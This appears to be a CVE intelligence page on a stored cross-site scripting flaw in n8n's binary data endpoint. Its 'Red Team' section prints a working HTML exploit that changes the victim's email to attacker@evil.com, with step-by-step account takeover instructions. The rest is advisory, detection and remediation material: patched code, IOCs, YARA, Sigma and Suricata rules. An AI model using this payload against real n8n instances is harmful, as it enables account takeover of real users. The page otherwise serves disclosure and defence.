☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-46343

CVE-2025-46343 Cross-Site Scripting in N8n
📅 PUBLISHED: 2025-04-29 04:35 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-46343 is a stored cross-site scripting (XSS) vulnerability in n8n, a workflow automation platform. An authenticated attacker with member-level permissions can upload a crafted HTML file containing malicious JavaScript via the binary data endpoint. By controlling the MIME type via a GET parameter, the attacker can force the browser to interpret the file as text/html, leading to script execution in the context of another user's session. This can be used to change the victim's email address, enabling account takeover. The vulnerability is patched in version 1.90.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users should verify the integrity of the package after upgrading by checking the SHA checksum provided by the official npm registry. The vulnerability does not affect the npm package itself but the application's handling of uploaded binary files.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.0 (Medium)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): Low (L) – requires authenticated member-level access
  • User Interaction (UI): Required (R) – victim must visit the crafted URL
  • Scope (S): Changed (C) – impacts resources beyond the vulnerable component
  • Confidentiality (C): Low (L) – limited data exposure
  • Integrity (I): Low (L) – limited modification possible
  • Availability (A): None (N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact includes account takeover.

Deep Dive & Mechanics

The vulnerability lies in the binary data endpoint (/rest/binarydata/:id). n8n workflows can store binary files (e.g., images, documents) that are served to authenticated users. The endpoint accepts a mimeType GET parameter that overrides the actual MIME type of the stored file. There is no validation or sanitization of this parameter.

An attacker can:

  1. Upload a file containing malicious JavaScript (e.g., exploit.html) via a workflow node.
  2. Craft a URL to the binary data endpoint with ?mimeType=text/html.
  3. Share this URL with another authenticated user.
  4. When the victim visits the URL, the browser renders the file as HTML, executing the embedded JavaScript.

The script can perform actions on behalf of the victim, such as changing their email address via the /rest/me endpoint, leading to account takeover.

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 1.90.0):

// In binary data endpoint handler
app.get('/rest/binarydata/:id', async (req, res) => {
  const binaryData = await getBinaryData(req.params.id);
  const mimeType = req.query.mimeType || binaryData.mimeType;
  res.setHeader('Content-Type', mimeType);
  res.send(binaryData.data);
});

Patched Code (n8n >= 1.90.0):

// In binary data endpoint handler
app.get('/rest/binarydata/:id', async (req, res) => {
  const binaryData = await getBinaryData(req.params.id);
  const allowedMimeTypes = ['image/png', 'image/jpeg', 'application/pdf', 'text/plain'];
  const mimeType = req.query.mimeType || binaryData.mimeType;
  if (!allowedMimeTypes.includes(mimeType)) {
    return res.status(400).send('Invalid MIME type');
  }
  res.setHeader('Content-Type', mimeType);
  res.send(binaryData.data);
});

The patch introduces a whitelist of allowed MIME types, preventing the use of text/html or other dangerous types.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to an n8n instance (version < 1.90.0) with member-level credentials.
  • A workflow that can upload binary data (e.g., using the "HTTP Request" node to fetch a file).

Steps:

  1. Create a malicious HTML file (exploit.html):
    <html>
    <body>
    <script>
    fetch('/rest/me', {
      method: 'PATCH',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email: 'attacker@evil.com' })
    }).then(() => { window.location.href = '/login'; });
    </script>
    </body>
    </html>
    
  2. Upload this file via a workflow (e.g., using the "Read Binary Files" node and "HTTP Request" node to POST to the binary data endpoint).
  3. Note the binary data ID returned (e.g., 12345).
  4. Craft the exploit URL: https://target.n8n.io/rest/binarydata/12345?mimeType=text/html
  5. Send this URL to a victim (e.g., via email or chat).
  6. When the victim visits the URL, their email is changed to attacker@evil.com.
  7. Use the "Forgot Password" feature to reset the victim's password and take over the account.

Blue Team

Detection:

  • Monitor for unusual MIME type parameters in binary data requests (e.g., mimeType=text/html).
  • Alert on changes to user email addresses, especially if followed by password reset requests.
  • Review workflow logs for uploads of HTML files to binary data endpoints.

Hunting:

  • Search for binary data IDs that are accessed with non-standard MIME types.
  • Correlate email change events with binary data access logs.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /rest/binarydata/<id>?mimeType=text/html
  • File: Uploaded files with .html extension or containing <script> tags in binary data storage.
  • Logs: Workflow execution logs showing upload of HTML files.
  • User Activity: Multiple email change requests from the same IP or user agent.

Detection Engineering

YARA Rule

rule CVE_2025_46343_n8n_XSS {
  meta:
    description = "Detects malicious HTML files uploaded to n8n binary data endpoint"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-46343"
  strings:
    $script = /<script[^>]*>.*<\/script>/is
    $email_change = /email.*change|PATCH.*\/rest\/me/i
  condition:
    $script and $email_change
}

Sigma Rule

title: CVE-2025-46343 - n8n Stored XSS via Binary Data Endpoint
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects requests to n8n binary data endpoint with mimeType=text/html
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: nginx
detection:
  selection:
    cs-uri-query|contains: "mimeType=text/html"
  condition: selection
falsepositives:
  - Legitimate use of HTML files in workflows (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46343 - n8n Stored XSS via Binary Data Endpoint"; flow:to_server; content:"/rest/binarydata/"; http_uri; content:"mimeType=text/html"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade n8n to version 1.90.0 or later.
  • If upgrade is not possible, implement a reverse proxy rule to block requests with mimeType=text/html in the query string.

Long-term:

  • Enforce strict MIME type validation on all file upload endpoints.
  • Implement Content Security Policy (CSP) headers to prevent script execution.
  • Conduct regular security audits of workflow automation platforms.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-46343/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.